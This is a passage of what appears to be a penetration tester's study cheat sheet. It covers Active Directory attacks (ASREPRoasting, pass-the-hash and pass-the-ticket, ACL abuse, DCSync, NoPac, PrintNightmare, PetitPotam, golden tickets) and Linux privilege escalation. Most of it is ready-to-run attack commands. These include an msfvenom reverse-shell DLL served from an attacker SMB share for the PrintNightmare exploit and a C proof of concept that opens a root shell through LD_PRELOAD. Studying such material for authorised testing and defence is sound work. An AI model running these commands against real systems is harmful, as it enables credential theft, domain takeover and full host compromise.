   * Linux: `python impacket-GetNPUsers.py domain.example -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast`
2. **Perform ASREPRoasting:**
   * (WINDOWS) Rubeus - Targeted User: `.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]`
   * (WINDOWS) Rubeus - All affected users: `.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast`
   * (LINUX) GetNPUsers - Username wordlist:  `impacket-GetNPUsers domain.name/validuser:validpass -dc-ip 10.10.10.1 -usersfile usernames.txt -request -format hashcat -outputfile hashes.txt`
3. **Offline Password Cracking:**
   * `john --wordlist=/usr/share/wordlists/rockyou.txt hashes.asreproast`
   * `hashcat -m 18200 --force -a 0 hashes.asreproast /usr/share/wordlists/rockyou.txt`

***

### **Pass the Hash (PtH)**

> * A Pass the Hash (PtH) attack is a technique where an attacker uses a password hash instead of a plain text password for authentication.
> * The attacker doesn't need to decrypt the hash to authenticate.
> * PtH exploit the authentication protocol, as the password hash remains static for every session until the password is changed.
> * Note: the attacker must have administrative privileges or particular privileges on the target machine to obtain a password hash.
> * Hashes can be obtained in several ways, including:
>   * Dumping the local SAM database from a compromised host.
>   * Extracting hashes from the NTDS database (ntds.dit) on a Domain Controller.
>   * Pulling the hashes from memory (lsass.exe).

**Performing PtH Attacks:**

1. Windows - Using mimikatz:\
   `privilege::debug "sekurlsa::pth /user:username /rc4:hash /domain:domain.name /run:cmd.exe" exit`
2. Linux - Using PsExec:\
   `impacket-psexec user@targetIP -hashes :hash`
3. Linux - Using evil-winrm:\
   `evil-winrm -i <ip> -u Administrator -H "<passwordhash>"`
4. Linux - Using crackmapexec:\
   `crackmapexec smb targetIP -u Administrator -d domain.name -H hash`
5. Pass the Hash with RDP:
   * Run `xfreerdp /v:targetIP /u:user /pth:hashvalue`
   * If Restricted Admin Mode is disabled, you will read a message telling you "account restrictions are preventing this user from signin in"
   * You can enable restricted admin mode (which is disabled by default) using the following:\
     `reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f`
   * After that, you can try to login again using the first command

***

### **Pass the Ticket (PtT)**

> * Another method for moving laterally in an Active Directory environment is called a Pass the Ticket (PtT) attack.
> * In this attack, we use a stolen Kerberos ticket to move laterally instead of an NTLM password hash
> * To perform PtT you can either use a TGS or a TGT
> * After performing PtT, the ticket will be stored in the current logon session

**Performing PtT Attacks:**

1. Check the [Kerberoasting Section](#kerberoasting) to check how to request tickets
2. PtT using Rubeus: `Rubeus.exe asktgt /domain:domain.name /user:username /rc4:hash /ptt`
3. PtT using Rubeus with .kirbi file: `Rubeus.exe ptt /ticket:file.kirbi`
4. PtT using Rubeus - alternative:
   * Convert a .kirbi file to base64:`[Convert]::ToBase64String([IO.File]::ReadAllBytes("file.kirbi"))`
   * Perform PtT using the base64 value you just got: `Rubeus.exe ptt /ticket:base64output`
5. PtT using Mimikatz with .kirbi file: `privilege::debug kerberos::ptt "path-to-file.kirbi"`
6. PtT using Mimikatz - PowerShell Remoting with Pass the Ticket:
   * You can leverage Mimikatz to import a ticket and open a PowerShell console to connect to the target machine
   * First, perform PtT using mimikatz, then
   * Open a PowerShell console: `powershell`
   * Connect to the target machine: `Enter-PSSession -ComputerName DC01`

***

### **Cached Active Directory Credentials**

Since Microsoft's implementation of Kerberos makes use of single sign-on, password hashes must be stored somewhere in order to renew a TGT request. In modern versions of Windows, these hashes are stored in the Local Security Authority Subsystem Service (LSASS) memory space. If we gain access to these hashes, we could crack them to obtain the cleartext password or reuse them to perform various actions.

Since the LSASS process is part of the operating system and runs as SYSTEM, we need SYSTEM (or local administrator) permissions to gain access to the hashes stored on a target. To make things even more tricky, the data structures used to store the hashes in memory are not publicly documented, and they are also encrypted with an LSASS-stored key.

Nevertheless, since the extraction of cached credentials is a large attack vector against Windows and Active Directory, several tools have been created to extract the hashes. The most popular of these tools is Mimikatz.&#x20;

From Mimikatz, we can run `sekurlsa::logonpasswords` to dump the credentials of all logged-on users with the Sekurlsa module. This should dump hashes for all users logged on to the current workstation or server, including remote logins like Remote Desktop sessions

***

### **Kerberos Double Hop Problem**

* The kerberos "double hop" is an issue that arises whenever attempting to use Kerberos authentication between two or more hops.
* Basically, when an authentication occurs through Kerberos, credentials aren't cached in memory.
* For example, when using WinRM to authenticate over two or more connections, the user's password is never cached as part of their login.
* In the simplest terms, in this situation, when we try to issue a multi-server command, our credentials will not be sent from the first machine to the second.
* Refer to the resources below to find workarounds and more information about this problem.

**Useful Resources:**

1. <https://posts.slayerlabs.com/double-hop/>
2. <https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberos-double-hop-problem>

***

## **ACL Enumeration & Attacks**

> Enumerating ACLs in the AD environment can often turn to estabilish persistence, moving laterally or, in some cases, gaining privilege escalation.

Some interesting ACLs to enumerate and attack are the following:

1. [ForceChangePassword](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#forcechangepassword): allows resetting a password without prior knowledge of the current password.
2. [GenericWrite](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#genericwrite): allows writing to any non-protected object attribute.
   * If GenericWrite applies to a `user`, you can assign a fake SPN to such account and perform a targeted Kerberoasting attack.
   * If GenericWrite applies to a `group`, you can add any user account to such group and gain its privileges.
   * If GenericWrite applies to a `computer object`, you can perform a resource-based constrained delegation attack.
3. [AddSelf](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#addself): shows the security groups to which the user can join.
4. [GenericAll](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#genericall): gain full control over a target object.
   * If GenericAll applies to a `user` or a `group`, you can modify memberships, force password change or perform a targeted Kerberoasting attack
   * If GenericAll applies to a `computer object` and LAPS is in use, you can read the LAPS password and gain local admin access on the target machine

### **ACL Enumeration**

**Manual ACL Enumeration with PowerView:**

1. Always start by importing the PowerView module in the current PS session: `Import-Module .\PowerView.ps1`
2. Find interesting ACLs: `Find-InterestingDomainAcl`
3. Get target user's sid: `$sid = Convert-NameToSid targetuser`
4. Check target user group membership: `Get-DomainUser -Identity targetuser | select samaccountname,objectsid,memberof,useraccountcontrol | fl`
5. Find all domain object that the user has rights over: `Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}`
6. Discover an object's ACL based on its GUID: `Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}`
7. Check target user (by SID) to check replication rights (DCSync): `$sid= "SID-VALUE" Get-ObjectAcl "DC=domainname,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl`

***

### **ACL Abuse Tactics**

> **Prerequisite:** You must have previously found one of the following ACLs by using bloodhound or manual enumeration techniques

#### **Abusing ForcePasswordChange to Change a User's Password**

1. Create a PSCredential Object with the credential of the current user (the one you are currently using to enumerate)
   * `$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force`
   * `$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\validuser', $SecPassword)`
2. Create a new target user password:
   * `$targetUserNewPassword = ConvertTo-SecureString 'blabla' -AsPlainText -Force`
3. Change the target user's password using PowerView:
   * `Import-Module .\PowerView.ps1`
   * `Set-DomainUserPassword -Identity targetUsername -AccountPassword $targetUserNewPassword -Credential $Cred -Verbose`

#### **Abusing GenericAll to Add the Current User to a Group**

1. Create a PSCredential Object with the credential of the current user (the one you are currently using to enumerate)
   * `$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force`
   * `$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\validuser', $SecPassword)`
2. Show the current members of the target group:
   * `Get-ADGroup -Identity "Target Group" -Properties * | Select -ExpandProperty Members`
3. Add the current user to the target group:
   * `Add-DomainGroupMember -Identity 'Target Group' -Members 'targetuser' -Credential $Cred -Verbose`
4. Confirm the user was added:
   * `Get-DomainGroupMember -Identity "Target Group" | Select MemberName`

#### **Abusing GenericWrite to Add Fake SPN and Perform Targeted Kerberoasting**

> If you have control of a Linux domain-joined host, you can use [TargetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast) to perform all the following steps in one command

1. Create a PSCredential Object with the credential of a user who shares group membership with the target user
   * `$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force`
   * `$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\validuser', $SecPassword)`
2. Create a fake SPN:
   * `Set-DomainObject -Credential $Cred -Identity targetuser -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose`
3. Kerberoast with Rubeus or any alternatives, see the [Kerberoasting Section](#kerberoasting)
   * `.\Rubeus.exe kerberoast /user:targetuser /nowrap`

***

#### **DCSync (Replicating Directory Changes & Replicating Directory Changes All)**

> DCSync is a technique for stealing the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data. This allows an attacker to mimic a DC to retrieve user NTLM password hashes by requesting a Domain Controller to replicate passwords via the DS-Replication-Get-Changes-All extended right, which allows the replication of secret data.\
> \
> To perform this attack, you must have control over an account that has the rights to perform domain replication (a user with the `Replicating Directory Changes` and `Replicating Directory Changes All` permissions set).\
> Domain/Enterprise Admins and default domain administrators have this right by default.

**Enumerate and Perform a DCSync Attack:**

1. Check target user (by SID) to check replication rights (DCSync):
   * `Import-Module .\PowerView.ps1`
   * `$sid = Convert-NameToSid targetuser` followed by
   * `Get-ObjectAcl "DC=domainname,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl`
2. Extract NTLM hashes from the NDTS.dit file on the DC:
   * Linux: `impacket-secretsdump -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/user-with-replication-rights@172.16.5.5 -use-vss`
   * Windows(Mimikatz): `lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator`

***

## **Miscellaneous Misconfigurations**

**Passwords in User Description Field:**

* Sensitive information such as account passwords are sometimes found in the user account Description or Notes fields and can be quickly enumerated using PowerView.
* `Import-Module .\PowerView.ps1` followed by `Get-DomainUser * | Select-Object samaccountname,description`

**Password not Required or not Subject to Length Policy:**

* It is possible to come across domain accounts with the `passwd_notreqd` field set in the userAccountControl attribute.
* If this is set, *the user is not subject to the current password policy length*, meaning they could have a *shorter password or no password at all* (if empty passwords are allowed in the domain)
* [PowerSploit](https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainUser/) - enumerate users with the passwd\_notreqd field:\
  `Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol`

**New Group Policy Preferences (GPP):**

* When a new GPP is created, an `.xml` file is created in the `SYSVOL` share, which is also cached locally on endpoints that the Group Policy applies to.
* These files can contain an array of configuration data and defined passwords.
* The `cpassword` attribute value is AES-256 bit encrypted, but [Microsoft published the AES private key on MSDN](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN), which can be used to decrypt the password.
* Any domain user can read these files as they are stored on the SYSVOL share, and all authenticated users in a domain, by default, have read access to this domain controller share.
* If you retrieve the cpassword value more manually, run `gpp-decrypt followed by the cpassword hash value` to decrypt the password
* Using CrackMapExec: `crackmapexec smb -L | grep gpp`


# Privilege Escalation to Domain Admin using Known Exploits

## **NoPac**

* NoPac is an intra-domain privilege escalation exploit that allows escalating privileges from any standard user to domain admin level access
* This exploit path takes advantage of being able to change the SamAccountName of a computer account to that of a Domain Controller.
* The flow of the attack is outlined here: [SecureWorks Blog](https://www.secureworks.com/blog/nopac-a-tale-of-two-vulnerabilities-that-could-end-in-ransomware)

**Exploiting NoPac:**

1. Get the NoPac exploit: `git clone https://github.com/Ridter/noPac.git`
2. Check if target is vulnerable: `sudo python3 scanner.py domain.name/validuser:validpassword -dc-ip 172.16.5.5 -use-ldap`
3. Get a SYSTEM shell as the built-in administrator: `sudo python3 noPac.py DOMAIN.NAME/validuser:validpassword -dc-ip 172.16.5.5 -dc-host DC-NAME -shell --impersonate administrator -use-ldap`
4. Perform DCSync against the built-in administrator: `sudo python3 noPac.py DOMAIN.NAME/validuser:validpassword -dc-ip 172.16.5.5 -dc-host DC-NAME --impersonate administrator -use-ldap -dump -just-dc-user DOMAIN.NAME/administrator`

***

## **PrintNightmare**

* Vulnerability found in the Print Spooler service that runs on all Windows operating systems that allows for privilege escalation and remote code execution.

**Exploiting PrintNightmare:**

1. Get the exploit: `git clone https://github.com/cube0x0/CVE-2021-1675.git`
2. Install cube0x0's version of impacket:

   ```
   pip3 uninstall impacket
   git clone https://github.com/cube0x0/impacket
   cd impacket
   python3 ./setup.py install
   ```
3. Check if the Windows target has MS-PAR & MSRPRN exposed:\
   `rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'`
4. Generate a DLL payload to be used by the exploit to gain a shell session:\
   `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=local-ip LPORT=anyport -f dll > backupscript.dll`
5. Create an SMB server and host a shared folder (Data) at the location of the DLL payload that the exploit will attempt to download:\
   `sudo smbserver.py -smb2support Data /path/to/backupscript.dll`
6. Run the exploit:\
   `sudo python3 CVE-2021-1675.py domain.name/validusername:validpassword@DC-IP '\\attacker-ip\CompData\backupscript.dll'`

***

## **PetitPotam**

* PetitPotam is an LSA spoofing vulnerability that allows forcing the domain controller to authenticate against another host using NTLM over port 445
* This attack allows an unauthenticated user to take over the domain
* More information about PetitPotam can be found here: [DirkJanm Post](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)

**Exploiting PetitPotam:**

1. Start an NTLM relay: `sudo ntlmrelayx.py -debug -smb2support --target http://DOMAIN/URL/to/Certificate/Authoirty/host --adcs --template DomainController` Note: you can use [certi](https://github.com/zer1t0/certi) to find the location of the CA
2. Get Petit Potam: `git clone https://github.com/topotam/PetitPotam.git`
3. Run Petit Potam. \`python3 PetitPotam.py attacker-ip dc-ip
4. If it worked, you will find the base64 encoded certificate for the domain controller on the NTLM relay shell
5. Request a TGT for the domain controller using the certificate: `python3 /PKINITtools/gettgtpkinit.py DOMAIN.NAME/DC-NAME\$ -pfx-base64 <base64 certificate> = dc01.ccache`
6. Set the KRB5CCNAME environment variable to the previous output file: `export KRB5CCNAME=dc01.ccache`
7. Perform DCSync using (`-k`) the previous ccache file : `secretsdump.py -just-dc-user DOMAIN.NAME/administrator -k -no-pass DC-NAME.DOMAIN.NAME`


# Domain Trusts

> * A trust is used to establish forest-forest or domain-domain (intra-domain) authentication, which allows users to access resources in (or perform administrative tasks) another domain, outside of the main domain where their account resides.
> * A trust creates a link between the authentication systems of two domains and may allow either one-way or two-way (bidirectional) communication.

## **Enumerating Trust Relationships**

1. Enumerate trust relationships:\
   `Import-Module activedirectory` followed by `Get-ADTrust -Filter *`
2. Check existing trusts:\
   `Import-Module .\PowerView.ps1` followed by `Get-DomainTrust` or `Get-DomainTrustMapping`
3. Check users in other Domain:\
   `Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName`
4. Query domain trust: `netdom query /domain:inlanefreight.local trust`
5. Query domain controllers: `netdom query /domain:inlanefreight.local dc`
6. Query workstations and servers: `netdom query /domain:inlanefreight.local workstation`
7. Bloodhound: `Map Domain Trusts` pre-built query.

## **ExtraSids Attack (Child to Parent Trust)**

> sidHistory is an attribute used in migration scenarios: when a user in one domain is migrated to another domain, a new account is created in the second domain. The original user's SID will be added to the new user's SID history attribute, ensuring that the user can still access resources in the original domain. SID history is intended to work across domains, but can work in the same domain.\
> \
> An attacker can perform SID history injection and add an administrator account to the SID History attribute of an account they control. When logging in with this account, all of the SIDs associated with the account are added to the user's token.\
> \
> If the SID of a Domain Admin account is added to the SID History attribute of this account, then this account will be able to perform DCSync and create a Golden Ticket or a Kerberos ticket-granting ticket (TGT), which will allow for us to authenticate as any account in the domain of our choosing for further persistence.

**ExtraSids - Creating a Golden Ticket with Mimikatz or Rubeus**

* Suppose you already compromised the child domain and have domain admin access or similar.
* In order to create a golden ticket, you need to find the following:
  * Child domain's KRBTGT account's NT Hash.\
    Mimikatz: `lsadump::dcsync /user:CHILDDOMAIN\krbtgt`
  * Child domain's SID.\
    Use `Get-DomainSID`
  * Child domain's enterprise admin group's SID.\
    Use `Get-DomainGroup -Domain DOMAIN.NAME -Identity "Enterprise Admins" | select distinguishedname,objectsid`
* To create a golden ticket:
  * Mimikatz: `kerberos::golden /user:fakeuser /domain:CHILD.DOMAIN.LOCAL /sid:child-domain-sid /krbtgt:krbtgt-nt-hash /sids:enterprise-admins-group-sid /ptt`
  * Rubeus: `.\Rubeus.exe golden /rc4:krbtgt-nt-hash /domain:CHILD.DOMAIN.LOCAL /sid:child-domain-sid /sids:enterprise-admins-group-sid /user:fakeuser /ptt`
* Use `klist` to check if the Kerberos Ticket is in memory for the previously specified user (which doesn't need to exist).
* You can now list all the contents of the Domain Controller's C drive, perform DCSync and so on

## **Cross-Forest Trust Abuse**

* In a Cross-Forest trust relationship, you can perform cross-forest kerberoasting by just specifying the target domain
* It is also possible to perform cross-forest sid history abuse if SID Filtering is not enabled
* Sometimes, you can find admin password re-use and misconfigured group memberships in a cross-forest trust


# Linux Privilege Escalation

> Privilege Escalation refers to the process of exploiting misconfigurations, known vulnerabilities and unintented bugs in order to gain higher privileges on the target host. The final objective of this process is to gain the highest level of privileges on a target machine, achieving full compromise of that target.&#x20;

***

## **External Resources**

**Linux Privilege Escalation:**

1. <https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/>
2. <https://book.hacktricks.xyz/linux-hardening/privilege-escalation>
3. <https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist>


# Enumerating Attack Vectors

## **Helpful Tools**

1. <https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS>
2. <https://github.com/rebootuser/LinEnum>
3. <https://github.com/DominicBreuker/pspy>
4. <https://pentestmonkey.net/tools/audit/unix-privesc-check>

***

## **Processes and Jobs**

| Command                       | Description                                                                  |
| ----------------------------- | ---------------------------------------------------------------------------- |
| `ps aux \| grep root`         | See processes running as root                                                |
| `./pspy64 -pf -i 1000`        | View running processes with `pspy`                                           |
| `ls -la /etc/cron.daily`      | Check for daily Cron jobs                                                    |
| `grep "CRON" /var/log/syslog` | Enumerate cron jobs                                                          |
| `lpstat`                      | Look for active or queued print jobs to gain access to sensitive information |

## **Kernel and OS**

| Command                | Description                                                  |
| ---------------------- | ------------------------------------------------------------ |
| `hostname`             | Check the hostname (useful to ensure the target is in scope) |
| `uname -a`             | Check the Kernel version                                     |
| `cat /proc/version`    | Check the Kernel version                                     |
| `cat /etc/lsb-release` | Check the OS version                                         |
| `cat /etc/os-release`  | Check the OS version                                         |
| `cat /etc/issue`       | May contain information about the system version and release |
| `lscpu`                | Gather additional information about the host                 |
| `sudo -V`              | Check sudo version                                           |

## **User-Related**

| Command      | Description                                     |
| ------------ | ----------------------------------------------- |
| `echo $PATH` | Check the current user's PATH variable contents |
| `ps au`      | See logged in users                             |
| `history`    | Check the current user's Bash history           |
| `whoami`     | Check what user we are running as               |
| `id`         | Check what groups we belong to                  |
| `sudo -l`    | Can the user run anything as another user?      |

## **Network Related**

| Command                | Description                                                                                                    |
| ---------------------- | -------------------------------------------------------------------------------------------------------------- |
| `ip -a`                | Check network interfaces                                                                                       |
| `ipconfig`             | Check network interfaces                                                                                       |
| `hostname -I`          | Display all IP addresses related to the host                                                                   |
| `cat /etc/hosts`       | Check for potential interesting hosts                                                                          |
| `route`                | Check out the routing table to see what other networks are available via which interface                       |
| `netstat -rn`          | Check out the routing table to see what other networks are available via which interface                       |
| `arp -a`               | Check the arp table to see what other hosts the target has been communicating with                             |
| `cat /etc/resolv.conf` | Check if the host is configured to use internal DNS → Starting point to query the Active Directory environment |
| `ss -tulpn`            | Check listening services on both TCP and UDP ports                                                             |
| `netstat -tulpn`       | Check listening services on both TCP and UDP ports                                                             |
| `ss -anp`              | Display active connections and listening ports                                                                 |

## **Finding Interesting Files and Directories**

<table><thead><tr><th width="466">Command</th><th>Description</th></tr></thead><tbody><tr><td><code>find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null</code></td><td>Find all accessible history files</td></tr><tr><td><code>find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null</code></td><td>Find world-writeable directories</td></tr><tr><td><code>find / -type d -name ".*" -ls 2>/dev/null</code></td><td>Find all hidden directories</td></tr><tr><td><code>find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null</code></td><td>Find all hidden files</td></tr><tr><td><code>find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null</code></td><td>Find world-writeable files</td></tr><tr><td><code>find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null</code></td><td>Find binaries with SUID bit set</td></tr><tr><td><code>find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null</code></td><td>Find binaries with SGID bit set</td></tr><tr><td><code>find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;</code></td><td>Enumerate binary files capabilities</td></tr><tr><td><code>find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null</code></td><td>Search config files</td></tr><tr><td><code>find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null</code></td><td>Search config files</td></tr><tr><td><code>find / -type f -name "*.sh" 2>/dev/null \| grep -v "src\|snap\|share"</code></td><td>Find <code>.sh</code> scripts</td></tr><tr><td><code>grep -r "word" /starting-path</code></td><td>Resursively inspect file contents to find instances of "word":</td></tr><tr><td><code>ls -l /tmp /var/tmp /dev/shm</code></td><td>Find temporary files</td></tr></tbody></table>

## Enumerating SUID binaries

**SUID** is a special file permission for executable files which enables other users to run the file with effective permissions of the file owner. Instead of the normal `x` which represents execute permissions, you will see an `s` (to indicate **SUID**) special permission for the user.

Obviously, for a quick win, you want to find SUID binaries having the `root` user as the file's owner.

HackTricks has a [page](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/euid-ruid-suid) where more info about this topic is explained.

You can `find` SUID binaries in many ways, the following are some example commands:

* `find / -perm -4000 2>/dev/null`
* `find / -perm /4000 2>/dev/null`
* `find / -perm /u+s 2>/dev/null`
* `find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null`


# Privileged Groups

## **ADM Group**

> Members of the `adm` group are able to read all logs stored in `/var/log`.
>
> This does not directly grant root access, but could be leveraged to gather sensitive data stored in log files or enumerate user actions and running cron jobs.

***

## **LXC and LXD groups (Linux Containers) Privilege Escalation**

> **Prerequisites:** the current used needs to be a **member of** the `lxc` or `lxd` **groups**
>
> **Description:** it is possible to grant ourselves root privileges by editing the container template (often forgot on the target machine)

**Attack Path:**

1. Suppose we found a folder named `ContainerImages` where the container image is stored (without any password protection)
2. Import the container as an image: `lxc image import container-template-name.tar.xz --alias temp`
3. Ensure the container was imported: `lxc image list`
4. Start a privileged container named `r00t`: `lxc init temp r00t -c security.privileged=true`
   * This will start a privileged container with the `security.privileged` set to `true` to run the container without a UID mapping, making the root user in the container the same as the root user on the host.
5. Mount the host file system: `lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true`
6. Start the container: `lxc start r00t`
7. The host filesystem will be mounted inside the container at the previously specified path (e.g. `/mnt/root`)

***

## **Docker Group**

> Placing a user in the docker group is essentially **equivalent to root level access to the file system without requiring a password**.
>
> Members of the docker group can spawn new docker containers.

**Example:**

* One example would be running the command `docker run -v /root:/mnt -it ubuntu`
* This command creates a new Docker instance with the `/root` directory on the host file system mounted as a volume.
* This way, it is possible to browse to the mounted directory(holding the entire filesystem) and retrieve or add SSH keys for the root user or retrieve the contents of the `/etc/shadow` file for offline password cracking or adding a privileged user.

***

## **Disk Group**

> Users within the disk group have full access to any devices contained within `/dev`
>
> Such as `/dev/sda1`, which is typically the main device used by the operating system.
>
> An attacker with these privileges can use `debugfs` to access the entire file system with root level privileges.
>
> This could be leveraged to retrieve SSH keys, credentials or to add a new user.


# Environment Variables Abuse

## **PATH Abuse**

> **What is the purpose of the PATH variable?**<br>
>
> `$PATH` is an environment variable that **specifies the set of directories where an executable can be located**.
>
> An account's `$PATH` variable is a set of absolute paths, **allowing a user to type a command without specifying the absolute path to the binary**.
>
> For example, a user can type `cat /tmp/test.txt` instead of specifying the absolute path `/bin/cat /tmp/test.txt`.
>
> Creating a script or program in a directory specified in the `$PATH` will make it executable from any directory on the system.

**Interacting with the PATH variable:**

* Check the contents of the PATH variable: `env | grep PATH` or `echo $PATH`
* Adding `.` to a user's PATH adds their current working directory to the list.
* To add a specific directory at the top of the PATH list: `export PATH=/tmp:$PATH`
* To add the current working directory at the top of the PATH list: `export PATH=.:$PATH`

**Abusing the PATH variable:**

* **Prerequisites:** a program or script running as root and its source code (or part of it)
* **Example Exploitation Steps:**
  * Suppose we can read the source code of a program
  * Suppose the source code reveals that the program makes use of a command or script without specifying its full path
  * e.g. The program uses `echo something` instead of `/usr/bin/echo something`
  * In that case, we can write and compile a C program with the same name as the command/script (`echo`) that gives us a reverse shell
  * After that, edit the PATH variable in order to prepend the exploit's directory on top (`export PATH=/dir-to-exploit:$PATH`)
  * Run the vulnerable program and get the reverse shell as root
* **Explaination:** the program tries to run the echo command, but it needs to look at the PATH variable since the command's full (absolute) path was not specified. The PATH variable's first directory will be the folder containing the exploit code, which will be ran by the program instead of the "real" echo command. The exploit code will be ran using the program's privileges (root), allowing us to escalate privileges

***

## **LD\_PRELOAD Abuse**

> **What is the purpose of the LD\_PRELOAD variable?**
>
> `LD_PRELOAD` is an optional environmental variable containing one or more paths to shared libraries, or shared objects
>
> All shares libraries/objects specified by this variable will be loaded (preloaded) before any other shared library

**Prerequisites to abuse the LD\_PRELOAD variable:**

* Suppose to have a script running as root
* Suppose you can read the source code of that script
* Alternatively, use `ldd /bin/scriptname` in order to view the shared objects required by a binary
* To abuse ld\_preload, you need to write a C code containing the `same signature of a function used by the program`
* This means that:
  * All `#include` statements are the same as the original function's
  * The `return value` needs to be the same as the original function's

**Example PoC code:**

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

**Steps to reproduce the attack:**

1. Identify a target binary and a target function used by it
2. Write a PoC code with the same signature as the original function's (see PoC above)
3. Compile it (as a shared library) using: `gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles`
4. Gain privilege escalation using: `sudo LD_PRELOAD=./pe.so <COMMAND>`


# Capabilities Abuse

## What are Capabilities?

> * Linux capabilities are a security feature in the Linux operating system that allows specific privileges to be granted to processes, allowing them to perform specific actions that would otherwise be restricted.
> * Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes.
> * One common vulnerability is using capabilities to grant privileges to processes that are not adequately sandboxed or isolated from other processes, allowing us to escalate their privileges and gain access to sensitive information or perform unauthorized actions.
> * Another potential vulnerability is the misuse or overuse of capabilities, which can result in processes having more privileges than they need.

***

## Capabilities Enumeration

* Enumerate all capabilities:\
  `find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;`
* Enumerate a specific binary's capabilities: `getcap /usr/bin/binaryname`

***

## Capability Values

| Capability Values | Desciption                                                                                                                                                                                                                                                                                                                                                                                                                    |
| ----------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `+ep`             | This value grants the effective and permitted privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows but does not allow it to perform any actions that are not allowed by the capability.                                                                                                                                                    |
| `+ei`             | This value grants sufficient and inheritable privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows and child processes spawned by the executable to inherit the capability and perform the same actions.                                                                                                                                    |
| `+p`              | This value grants the permitted privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows but does not allow it to perform any actions that are not allowed by the capability. This can be useful if we want to grant the capability to the executable but prevent it from inheriting the capability or allowing child processes to inherit it. |

***

## Interesting Capabilities

* `CAP_SETUID`: Allows a process to set its effective user ID, which can be used to gain the privileges of another user, including the root user.
* `CAP_SETGID`: Allows to set its effective group ID, which can be used to gain the privileges of another group, including the root group.
* `cap_sys_admin`: Allows to perform actions with administrative privileges, such as modifying system files or changing system settings.
* `cap_sys_chroot`: Allows to change the root directory for the current process, allowing it to access files and directories that would otherwise be inaccessible.
* `cap_sys_ptrace`: Allows to attach to and debug other processes, potentially allowing it to gain access to sensitive information or modify the behavior of other processes.
* `cap_sys_nice`: Allows to raise or lower the priority of processes, potentially allowing it to gain access to resources that would otherwise be restricted.
* `cap_sys_time`: Allows to modify the system clock, potentially allowing it to manipulate timestamps or cause other processes to behave in unexpected ways.
* `cap_sys_resource`: Allows to modify system resource limits, such as the maximum number of open file descriptors or the maximum amount of memory that can be allocated.
* `cap_sys_module`: Allows to load and unload kernel modules, potentially allowing it to modify the operating system's behavior or gain access to sensitive information.
* `cap_net_bind_service`: Allows to bind to network ports, potentially allowing it to gain access to sensitive information or perform unauthorized actions.


# Programs, Jobs and Services

## **CronJob Abuse**

> Scheduled jobs, typically used for administrative tasks, creating backups, cleaning directories etc
>
> The `crontab` command can create a cron file, which will be run by the cron daemon on the schedule specified
>
> When created, the cron file will be created in /var/spool/cron for the specific user that creates it
>
> Each entry in the crontab file requires six items in the following order: `minutes, hours, days, months, weeks, commands`.

